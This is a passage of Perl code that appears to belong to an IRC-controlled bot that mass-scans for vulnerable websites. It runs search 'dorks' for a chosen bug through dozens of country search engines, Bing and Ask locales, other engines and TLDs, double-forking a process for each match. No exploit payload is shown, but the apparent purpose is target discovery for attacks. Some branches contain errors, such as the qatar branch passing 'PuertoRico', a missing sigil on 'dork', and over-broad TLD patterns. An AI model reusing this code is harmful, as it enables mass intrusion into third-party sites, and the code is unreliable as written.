	if ($engine =~ /cambodia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cambodia",$type,$nick,$id); } exit; } }
	if ($engine =~ /cameroon/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cameroon",$type,$nick,$id); } exit; } }
	if ($engine =~ /christmas/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Christmas",$type,$nick,$id); } exit; } }
	if ($engine =~ /costarika/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CostaRika",$type,$nick,$id); } exit; } }
	if ($engine =~ /croatia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Croatia",$type,$nick,$id); } exit; } }
	if ($engine =~ /cuba/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cuba",$type,$nick,$id); } exit; } }
	if ($engine =~ /cyprus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cyprus",$type,$nick,$id); } exit; } }
	if ($engine =~ /dominican/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Dominican",$type,$nick,$id); } exit; } }
	if ($engine =~ /equador/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Equador",$type,$nick,$id); } exit; } }
	if ($engine =~ /egypt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Egypt",$type,$nick,$id); } exit; } }
	if ($engine =~ /estonia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Estonia",$type,$nick,$id); } exit; } }
	if ($engine =~ /finland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Finland",$type,$nick,$id); } exit; } }
	if ($engine =~ /georgia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Georgia",$type,$nick,$id); } exit; } }
	if ($engine =~ /ghana/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Ghana",$type,$nick,$id); } exit; } }
	if ($engine =~ /grenada/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Grenada",$type,$nick,$id); } exit; } }
	if ($engine =~ /honduras/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Honduras",$type,$nick,$id); } exit; } }
	if ($engine =~ /hongkong/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Hongkong",$type,$nick,$id); } exit; } }
	if ($engine =~ /iceland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Iceland",$type,$nick,$id); } exit; } }
	if ($engine =~ /ireland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Ireland",$type,$nick,$id); } exit; } }
	if ($engine =~ /kenya/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Kenya",$type,$nick,$id); } exit; } }
	if ($engine =~ /kuwait/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Kuwait",$type,$nick,$id); } exit; } }
	if ($engine =~ /laos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Laos",$type,$nick,$id); } exit; } }
	if ($engine =~ /latvia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Latvia",$type,$nick,$id); } exit; } }
	if ($engine =~ /liberia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Liberia",$type,$nick,$id); } exit; } }
	if ($engine =~ /libyan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Libyan",$type,$nick,$id); } exit; } }
	if ($engine =~ /lithuania/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Lithuania",$type,$nick,$id); } exit; } }
	if ($engine =~ /macedonia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Macedonia",$type,$nick,$id); } exit; } }
	if ($engine =~ /malta/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Malta",$type,$nick,$id); } exit; } }
	if ($engine =~ /mongolia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Mongolia",$type,$nick,$id); } exit; } }
	if ($engine =~ /mozambique/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Mozambique",$type,$nick,$id); } exit; } }
	if ($engine =~ /namibia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Namibia",$type,$nick,$id); } exit; } }
	if ($engine =~ /nauru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Nauru",$type,$nick,$id); } exit; } }
	if ($engine =~ /nepal/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Nepal",$type,$nick,$id); } exit; } }
	if ($engine =~ /newzealand/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NewZealand",$type,$nick,$id); } exit; } }
	if ($engine =~ /nigeria/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Nigeria",$type,$nick,$id); } exit; } }
	if ($engine =~ /paraguay/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Paraguay",$type,$nick,$id); } exit; } }
	if ($engine =~ /peru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Peru",$type,$nick,$id); } exit; } }
	if ($engine =~ /portugal/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Portugal",$type,$nick,$id); } exit; } }
	if ($engine =~ /puertorico/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PuertoRico",$type,$nick,$id); } exit; } }
	if ($engine =~ /qatar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PuertoRico",$type,$nick,$id); } exit; } }
	if ($engine =~ /saintlucia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SaintLucia",$type,$nick,$id); } exit; } }
	if ($engine =~ /samoa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Samoa",$type,$nick,$id); } exit; } }
    if ($engine =~ /saudiarabia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,dork,"SaudiArabia",$type,$nick,$id); } exit; } }
	if ($engine =~ /senegal/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Senegal",$type,$nick,$id); } exit; } }
	if ($engine =~ /slovakia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Slovakia",$type,$nick,$id); } exit; } }
	if ($engine =~ /srilanka/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Srilanka",$type,$nick,$id); } exit; } }
	if ($engine =~ /swaziland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Swaziland",$type,$nick,$id); } exit; } }
	if ($engine =~ /tajikistan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tajikistan",$type,$nick,$id); } exit; } }
	if ($engine =~ /tanzania/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tanzania",$type,$nick,$id); } exit; } }
	if ($engine =~ /tokelau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tokelau",$type,$nick,$id); } exit; } }
	if ($engine =~ /tonga/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tonga",$type,$nick,$id); } exit; } }
	if ($engine =~ /tunisia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tunisia",$type,$nick,$id); } exit; } }
	if ($engine =~ /uruguay/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Uruguay",$type,$nick,$id); } exit; } }
	if ($engine =~ /uzbekistan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Uzbekistan",$type,$nick,$id); } exit; } }
	if ($engine =~ /venezuela/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Venezuela",$type,$nick,$id); } exit; } }
	if ($engine =~ /yemen/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Yemen",$type,$nick,$id); } exit; } }
	if ($engine =~ /yugoslavia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Yugoslavia",$type,$nick,$id); } exit; } }
	if ($engine =~ /zambia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Zambia",$type,$nick,$id); } exit; } }
	if ($engine =~ /uganda/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Uganda",$type,$nick,$id); } exit; } }
	if ($engine =~ /trinidad/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Trinidad",$type,$nick,$id); } exit; } }
	if ($engine =~ /zimbabwe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Zimbabwe",$type,$nick,$id); } exit; } }
	if ($engine =~ /buahdada/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BuahDada",$type,$nick,$id); } exit; } }
	if ($engine =~ /payudara/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PayuDara",$type,$nick,$id); } exit; } }
	if ($engine =~ /kentot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Kentot",$type,$nick,$id); } exit; } }
	if ($engine =~ /memek/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MeMek",$type,$nick,$id); } exit; } }
	if ($engine =~ /emel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"eMeL",$type,$nick,$id); } exit; } }
	if ($engine =~ /oral/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OraL",$type,$nick,$id); } exit; } }
	if ($engine =~ /klitoris/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Klitoris",$type,$nick,$id); } exit; } }
	if ($engine =~ /masturbasi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Masturbasi",$type,$nick,$id); } exit; } }
	if ($engine =~ /onani/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Onani",$type,$nick,$id); } exit; } }
	if ($engine =~ /sperma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Sperma",$type,$nick,$id); } exit; } }
	if ($engine =~ /anal/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AnaL",$type,$nick,$id); } exit; } }
	if ($engine =~ /puting/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Puting",$type,$nick,$id); } exit; } }
	if ($engine =~ /penis/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Penis",$type,$nick,$id); } exit; } }
	if ($engine =~ /bingDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingDE",$type,$nick,$id); } exit; } }
	if ($engine =~ /bingUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingUK",$type,$nick,$id); } exit; } }
	if ($engine =~ /bingCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCA",$type,$nick,$id); } exit; } }
	if ($engine =~ /bingBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBR",$type,$nick,$id); } exit; } }
	if ($engine =~ /bingFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingFR",$type,$nick,$id); } exit; } }
	if ($engine =~ /bingES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingES",$type,$nick,$id); } exit; } }
	if ($engine =~ /bingIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingIT",$type,$nick,$id); } exit; } }
	if ($engine =~ /bingBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBE",$type,$nick,$id); } exit; } }
	if ($engine =~ /bingNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNL",$type,$nick,$id); } exit; } }
	if ($engine =~ /bingPT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingPT",$type,$nick,$id); } exit; } }
	if ($engine =~ /bingNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNO",$type,$nick,$id); } exit; } }
	if ($engine =~ /bingDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingDK",$type,$nick,$id); } exit; } }
	if ($engine =~ /bingSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingSE",$type,$nick,$id); } exit; } }
	if ($engine =~ /bingCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCH",$type,$nick,$id); } exit; } }
	if ($engine =~ /bingNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNZ",$type,$nick,$id); } exit; } }
	if ($engine =~ /bingRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingRU",$type,$nick,$id); } exit; } }
	if ($engine =~ /bingJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingJP",$type,$nick,$id); } exit; } }
	if ($engine =~ /bingCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCN",$type,$nick,$id); } exit; } }
	if ($engine =~ /bingKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingKR",$type,$nick,$id); } exit; } }
	if ($engine =~ /bingMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingMX",$type,$nick,$id); } exit; } }
	if ($engine =~ /bingAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAR",$type,$nick,$id); } exit; } }
	if ($engine =~ /bingCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCL",$type,$nick,$id); } exit; } }
	if ($engine =~ /bingAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAU",$type,$nick,$id); } exit; } }
	if ($engine =~ /askCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKCA",$type,$nick,$id); } exit; } }
	if ($engine =~ /askDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKDE",$type,$nick,$id); } exit; } }
	if ($engine =~ /askIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKIT",$type,$nick,$id); } exit; } }
	if ($engine =~ /askFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKFR",$type,$nick,$id); } exit; } }
	if ($engine =~ /askES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKES",$type,$nick,$id); } exit; } }
	if ($engine =~ /askRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKRU",$type,$nick,$id); } exit; } }
	if ($engine =~ /askNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKNL",$type,$nick,$id); } exit; } }
	if ($engine =~ /askUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKUK",$type,$nick,$id); } exit; } }
	if ($engine =~ /askBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKBR",$type,$nick,$id); } exit; } }
	if ($engine =~ /askPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKPL",$type,$nick,$id); } exit; } }
	if ($engine =~ /askAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKAU",$type,$nick,$id); } exit; } }
	if ($engine =~ /askAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKAT",$type,$nick,$id); } exit; } }
	if ($engine =~ /askJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKJP",$type,$nick,$id); } exit; } }
	if ($engine =~ /askSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKSE",$type,$nick,$id); } exit; } }
	if ($engine =~ /askMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKMX",$type,$nick,$id); } exit; } }
	if ($engine =~ /askNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKNO",$type,$nick,$id); } exit; } }
	if ($engine =~ /askDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKDK",$type,$nick,$id); } exit; } }
    }
    #------------------------- OTHER -----------------------------------------#
    if($oscan) {
        if ($engine =~ /searchnz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"searchnz",$type,$nick,$id); } exit; } }
        if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BigLobe",$type,$nick,$id); } exit; } }
        if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WaLLa",$type,$nick,$id); } exit; } }
        if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OnEt",$type,$nick,$id); } exit; } }
        if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HotBot",$type,$nick,$id); } exit; } }
        if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SeZNam",$type,$nick,$id); } exit; } }
        if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UoL",$type,$nick,$id); } exit; } }
        if ($engine =~ /dogpile/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Dogpile",$type,$nick,$id); } exit; } }
   }    
   #------------------------- TLD -----------------------------------------#
        
    if($pscan) {
        if ($engine =~ /by/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"by",$type,$nick,$id); } exit; } }
        if ($engine =~ /ae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ae",$type,$nick,$id); } exit; } }
        if ($engine =~ /ar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ar",$type,$nick,$id); } exit; } }
        if ($engine =~ /at/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"at",$type,$nick,$id); } exit; } }
        if ($engine =~ /au/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"au",$type,$nick,$id); } exit; } }
        if ($engine =~ /br/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"br",$type,$nick,$id); } exit; } }
        if ($engine =~ /ca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ca",$type,$nick,$id); } exit; } }
        if ($engine =~ /cl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cl",$type,$nick,$id); } exit; } }
        if ($engine =~ /cn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cn",$type,$nick,$id); } exit; } }
        if ($engine =~ /cz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cz",$type,$nick,$id); } exit; } }
        if ($engine =~ /de/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"de",$type,$nick,$id); } exit; } }
        if ($engine =~ /dk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"dk",$type,$nick,$id); } exit; } }
        if ($engine =~ /es/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"es",$type,$nick,$id); } exit; } }
        if ($engine =~ /eu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"eu",$type,$nick,$id); } exit; } }
        if ($engine =~ /fr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"fr",$type,$nick,$id); } exit; } }
        if ($engine =~ /hu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"hu",$type,$nick,$id); } exit; } }
        if ($engine =~ /id/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"id",$type,$nick,$id); } exit; } }
        if ($engine =~ /il/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"il",$type,$nick,$id); } exit; } }
        if ($engine =~ /in/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"in",$type,$nick,$id); } exit; } }
        if ($engine =~ /it/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"it",$type,$nick,$id); } exit; } }
        if ($engine =~ /jp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"jp",$type,$nick,$id); } exit; } }
        if ($engine =~ /kr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"kr",$type,$nick,$id); } exit; } }
        if ($engine =~ /mx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mx",$type,$nick,$id); } exit; } }
        if ($engine =~ /my/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"my",$type,$nick,$id); } exit; } }
        if ($engine =~ /nl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"nl",$type,$nick,$id); } exit; } }
        if ($engine =~ /ph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ph",$type,$nick,$id); } exit; } }
        if ($engine =~ /pl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"pl",$type,$nick,$id); } exit; } }
        if ($engine =~ /ro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ro",$type,$nick,$id); } exit; } }
        if ($engine =~ /ru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ru",$type,$nick,$id); } exit; } }
        if ($engine =~ /th/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"th",$type,$nick,$id); } exit; } }
        if ($engine =~ /ua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ua",$type,$nick,$id); } exit; } }
        if ($engine =~ /uk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"uk",$type,$nick,$id); } exit; } }
        if ($engine =~ /us/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"us",$type,$nick,$id); } exit; } }
        if ($engine =~ /si/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"si",$type,$nick,$id); } exit; } }
        if ($engine =~ /be/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"be",$type,$nick,$id); } exit; } }
        if ($engine =~ /tv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tv",$type,$nick,$id); } exit; } }
        if ($engine =~ /cc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cc",$type,$nick,$id); } exit; } }
        if ($engine =~ /as/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"as",$type,$nick,$id); } exit; } }
        if ($engine =~ /ai/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ai",$type,$nick,$id); } exit; } }
        if ($engine =~ /ag/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ag",$type,$nick,$id); } exit; } }
        if ($engine =~ /az/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"az",$type,$nick,$id); } exit; } }
        if ($engine =~ /bh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bh",$type,$nick,$id); } exit; } }
